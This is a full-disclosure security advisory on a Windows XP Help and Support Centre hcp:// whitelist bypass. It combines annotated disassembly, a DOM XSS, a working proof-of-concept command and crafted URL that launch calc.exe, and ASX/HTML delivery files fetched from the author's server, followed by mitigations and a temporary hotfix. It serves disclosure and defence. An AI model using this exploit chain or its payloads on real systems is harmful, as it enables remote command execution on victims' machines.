Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
----------------------------------------------------------------------------

Help and Support Centre is the default application provided to access online
documentation for Microsoft Windows. Microsoft supports accessing help documents
directly via URLs by installing a protocol handler for the scheme "hcp", 
a typical example is provided in the Windows XP Command Line Reference,
available at http://technet.microsoft.com/en-us/library/bb490918.aspx.

Using hcp:// URLs is intended to be safe, as when invoked via the registered
protocol handler the command line parameter /fromhcp is passed to the help
centre application. This flag switches the help centre into a restricted mode,
which will only permit a whitelisted set of help documents and parameters.

This design, introduced in SP2, is reasonably sound. A whitelist of trusted
documents is a safe way of allowing interaction with the documentation from
less-trusted sources. Unfortunately, an implementation error in the whitelist
allows it to be evaded.

URLs are normalised and unescaped prior to validation using
MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
escape sequences into their original characters, the relevant code from
helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.

.text:0106684C Unescape:
.text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
.text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
.text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
.text:01066853        call    ds:wcslen            ; find the remaining length.
.text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 xdigits.
.text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
.text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
.text:01066861        mov     dl, cl
.text:01066863        neg     dl
.text:01066865        sbb     edx, edx
.text:01066867        and     edx, 3
.text:0106686A        inc     edx
.text:0106686B        inc     edx
.text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
.text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
.text:01066870        test    cl, cl
.text:01066872        movzx   eax, word ptr [esi+2]
.text:01066876        push    eax
.text:01066877        jz      short NotUnicode
.text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
.text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape sequence.
.text:01066880        movzx   eax, word ptr [esi+4]
.text:01066884        push    eax
.text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. total <<= 4;
.text:01066888        call    HexToNum             
.text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
.text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
.text:01066893        push    eax
.text:01066894        shl     edi, 4
.text:01066897        call    HexToNum
.text:0106689C        or      edi, eax
.text:0106689E        movzx   eax, word ptr [esi+8]
.text:010668A2        push    eax
.text:010668A3        shl     edi, 4
.text:010668A6        call    HexToNum
.text:010668AB        or      edi, eax
.text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
.text:010668B0        jmp     short FinishedEscape
.text:010668B2
.text:010668B2 NotUnicode:                             
.text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, instead of %u0041)
.text:010668B7        mov     edi, eax
.text:010668B9        movzx   eax, word ptr [esi]
.text:010668BC        push    eax
.text:010668BD        call    HexToNum
.text:010668C2        shl     eax, 4
.text:010668C5        or      edi, eax
.text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
.text:010668CA
.text:010668CA FinishedEscape:
.text:010668CA        test    di, di
.text:010668CD        jz      short loc_10668DA
.text:010668CF
.text:010668CF LiteralChar:
.text:010668CF        push    edi                  ; append the final value to the normalised string using a std::string append.
.text:010668D0        mov     ecx, [ebp+unescaped]
.text:010668D3        push    1
.text:010668D5        call    std::string::append
.text:010668DA        mov     di, [esi]            ; fetch the next input character.
.text:010668DD        test    di, di               ; have we reached the NUL terminator?
.text:010668E0        jnz     Unescape             ; process next char.

This code seems sane, but an error exists due to how MPC::HexToNum() handles
error conditions, the relevant section of code is annotated below.

.text:0102D32A        mov     edi, edi
.text:0102D32C        push    ebp
.text:0102D32D        mov     ebp, esp              ; function prologue.
.text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
.text:0102D332        cmp     eax, '0'
.text:0102D335        jl      short CheckUppercase  ; is it a digit?
.text:0102D337        cmp     eax, '9'
.text:0102D33A        jg      short CheckUppercase
.text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
.text:0102D33F        jmp     short Complete   
.text:0102D341 CheckUppercase:
.text:0102D341        cmp     eax, 'A'
.text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
.text:0102D346        cmp     eax, 'F'
.text:0102D349        jg      short CheckLowercase
.text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
.text:0102D34E        jmp     short Complete   
.text:0102D350 CheckLowercase:
.text:0102D350        cmp     eax, 'a'
.text:0102D353        jl      short Invalid         ; lowercase xdigit?
.text:0102D355        cmp     eax, 'f'
.text:0102D358        jg      short Invalid    
.text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
.text:0102D35D        jmp     short Complete    
.text:0102D35F Invalid:     
.text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
.text:0102D362 Complete:   
.text:0102D362        pop     ebp
.text:0102D363        retn    4

Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
MPC::HexToNum() as required, and therefore can be manipulated into appending
unexpected garbage onto std::strings. This error may appear benign, but we can
use the miscalculations produced later in the code to evade the /fromhcp
whitelist.

Assuming that we can access arbitrary help documents (full details of how the
MPC:: error can be used to accomplish this will be explained below), we must
identify a document that can be controlled purely from the URL used to access it.

After browsing the documents available in a typical installation, the author
concluded the only way to do this would be a cross site scripting error. After
some careful searching, a candidate was discovered:

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>

This document is available in a default installation, and due to insufficient
escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters
such as '=' or '"' or others are specified. 

It's not immediately obvious that this error is still exploitable, simple
tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
isn't helpful as the code isn't evaluated again. In situations like this, the
best course of action is to harass lcamtuf until he gives you the solution,
which of course his encyclopaedic knowledge of browser security quirks produced
immediately.

<script defer>code</script>

The defer property is an IE-ism which solves the problem, documented by
Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
Now that we are armed with knowledge of this trick, because these help
documents are in a privileged zone, we can simply execute commands.

You can test this with a command like so (assuming a recent IE):

C:\> ver
Microsoft Windows XP [Version 5.1.2600]
C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
C:\>

While this is fun, this isn't a vulnerability unless an untrusted third party
can force you to access it. Testing suggests that by default, accessing an
hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
other browsers) will result in a prompt. Although most users will click through
this prompt (perfectly reasonable, protocol handlers are intended to be safe),
it's not a particularly exciting attack.

I've found a way to avoid the prompt in a default Windows XP installation in all
major browsers, The solution is to invoke the protocol handler from within an
<iframe> in an ASX HtmlView element. There are probably other ways.

http://en.wikipedia.org/wiki/Advanced_Stream_Redirector

The version of Windows Media Player that is available by default in Windows XP
is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
content. Later versions also can be used, with some minor complications.

Thus, the attack will look like this:

$ cat simple.asx 
<ASX VERSION="3.0">
<PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
<ENTRY>
   <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
</ENTRY>
</ASX>

Where starthelp.html contains something like:

$ cat starthelp.html 
<iframe src="hcp://...">

Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:

$ cat launchurl.html 
<html>
<head><title>Testing HCP</title></head>
<body>
  <h1>OK</h1>
  <script>
        // HCP:// Vulnerability, Tavis Ormandy, June 2010.
        var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            // Internet Explorer
            var o = document.createElement("OBJECT");
            o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
            o.openPlayer(asx);
        } else {
            // Mozilla, Chrome, Etc.
            var o = document.createElement("IFRAME");
            o.setAttribute("src", asx);
            document.body.appendChild(o);
        }
  </script>
</body>
</html>

Therefore, we have the following interactions between multiple complex systems
chained together:

- From an html page, email, document, or other application force a user to
  fetch a .ASX file containing an HtmlView element.
- From the HtmlView element, invoke the hcp protocol handler that would normally
  require confirmation.
- From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
  string miscalculations caused by failing to check the return code of
  MPC::HexToNum().
- Once the whitelist has been defeated, invoke the Help document with a known
  DOM XSS due to GetServerName() insufficient escaping.
- Use the defer property of a script tag to execute script in a privileged zone
  even after the page has been rendered.
- Invoke an arbitrary command using the wscript.shell object.

Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
whitelist took some analysis, but the result looks like the following.

hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
3C/script%3E

--------------------
Affected Software
------------------------

At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
is enhanced against IE >= 8 and other major browsers if Windows Media Player is
available, but an installation is still vulnerable without it.

Machines running version of IE less than 8 are, as usual, in even more trouble.

In general, choice of browser, mail client or whatever is not relevant, they
are all equally vulnerable.

--------------------
Consequences
-----------------------

Upon successful exploitation, a remote attacker is able to execute arbitrary
commands with the privileges of the current user.

I've prepared a demonstration for a typical Windows XP installation with
Internet Explorer 8, and the default Windows Media Player 9.

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html

In IE7 on Windows XP, just visiting this URL should be sufficient:

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html

Some minor modifications will be required to target other configurations, this
is simply an attempt to demonstrate the problem. I'm sure the smart guys at
metasploit will work on designing reliable attacks, as security professionals
require these to do their jobs.

Additionally, my demonstration is not intended to be stealthy, a real
attack would barely be noticable to the victim. Perhaps the only unavoidable
signal would be the momentary appearance of the Help Centre window before the
attacker hides it. There are multiple trivial techniques that can be used to
accomplish this.

Browsers are useful to demonstrate the problem, but there are certainly other
attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
be used across applications.

-------------------
Mitigation
-----------------------

If you believe you may be affected, you should consider applying one of the
workarounds described below.

Few users rely on Help Centre urls, it is safe to temporarily disable them
by removing HKCR\HCP\shell\open. This modification can be deployed easily using
GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
here

http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx

A few caveats, 

    * I am aware that some support technicians rely on the Remote Assistance
      tool provided by the Help Center application using shortcuts like
      "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
      to use this technique by substituting "explorer.exe hcp://..." for
      "helpctr.exe /url hcp://...", without relying on the protocol handler.

    * One or two links in explorer, such as selecting "Help" from the Control
      Panel category view, may no longer function. If this concerns you, it is
      possible to gracefully degrade by replacing the protocol handler with a
      command to open a static intranet support page, e.g.
      "chrome.exe http://techsupport.intranet".

    * As always, if you do not use this feature, consider permanently disabling
      it in order to reduce attack surface. Historically, disabling unused
      protocol handlers has always proven to be a wise investment in security. 

In the unlikely event that you heavily rely on the use of hcp://, I have
created an unofficial (temporary) hotfix. You may use it under the terms of
the GNU General Public License, version 2 or later. Of course, you should only
use it as a last resort, carefully test the patch and make sure you understand
what it does (full source code is included). It may be necessary to modify it
to fit your needs.

The package is availble for x86 here:

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip

[ NOTE: Please avoid linking to this file out of context, it is intended for
        consideration as a potential mitigation by experienced administrators,
        and is not suitable for consumption by end-users ]

The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
return zero on error, rather than -1. Nothing is changed on disk, and it can be
safely removed at anytime. Of course, the result of an invalid unescape is still
incorrect, but this specific vulnerability should be rendered inert. I would be
greatful if the community could contribute bugfixes, testing, an x64 port, and
so on. Once information is in the open, we can all collaborate on our
collective security.

Some clarifications,

    * Fixing the XSS is not a solution, the root cause is the whitelist
      evasion, any mitigation that does not address this is simply papering
      over the issue. An army of researchers that specialise in XSS exists, and
      i'm sure they will turn their attention to help documents once they
      realise their value. Assume more will be discovered.

    * That said, if you are an XSS expert, examples in whitelisted pages
      (/services/index, /services/search, etc.) would be useful, your skills
      could be helpful making this important software safe.

    * Removing Windows Media player is not a solution, it simply makes a fun
      demo for IE8 and other modern browsers.

Finally, you should take this opportunity to disable all browser plugins and
SFS ActiveX controls that are not regularly used. End users can do this
themselves in Google Chrome by viewing about:plugins and disabling the plugins
that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
interface.

-------------------
Solution
-----------------------

Microsoft was informed about this vulnerability on 5-Jun-2010, and they
confirmed receipt of my report on the same day.

Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
has been the target of attacks multiple times in the past. I've concluded that
there's a significant possibility that attackers have studied this component,
and releasing this information rapidly is in the best interest of security.

Those of you with large support contracts are encouraged to tell your support
representatives that you would like to see Microsoft invest in developing
processes for faster responses to external security reports.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
Hawkes, Jagger, and all my other pimp colleagues.

Special thanks to lcamtuf for his assistance with the deferred execution
problem. You should read his Browser Security Handbook if you need to
understand how web browser security /really/ works.

http://code.google.com/p/browsersec/wiki/Main

A colleague is organising a conference in Lucerne, Switzerland. He would really
appreciate interesting papers from security people who want to talk about
their research (travel, hotel, etc. covered).

https://www.hashdays.ch/

-------------------
Notes
-----------------------

I would like to point out that if I had reported the MPC::HexToNum() issue
without a working exploit, I would have been ignored.

Without access to extremely smart colleagues, I would likely have given up,
leaving you vulnerable to attack from those who just want root on your network
and do not care about disclosure policies.

This is another example of the problems with bug secrecy (or in PR speak,
"responsible disclosure"), those of us who work hard to keep networks safe are
forced to work in isolation without the open collaboration with our peers that
we need, especially in complex cases like this, where creative thinking and
input from experts in multiple disciplines is required to join the dots.

A good place to start researching full disclosure would be this accessible
and insightful essay by Bruce Schneier.

http://www.schneier.com/essay-146.html

His balanced coverage of the debate is also available in this essay.

http://www.schneier.com/crypto-gram-0111.html#1

Finally, a reminder that this document represents my own work and opinions, I
do not speak for or represent anyone but myself.

-------------------
References
-----------------------

hcp:// has been broken a few times over the years, for example:

- http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
- http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.

The current design is actually pretty sound, I'm sure Microsoft are
dissapointed they missed this flaw. In their defense, I think there's a good
chance I would have also missed this in code review.